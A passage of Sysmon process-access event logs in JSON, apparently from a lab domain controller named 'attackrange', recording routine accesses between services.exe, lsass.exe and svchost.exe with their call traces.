C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.250","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1124","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001081F10000}","TargetProcessId":"1584","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":852,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.250\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.250","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":853,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.250\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.250","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":854,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":855,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":856,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":857,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":858,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":859,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 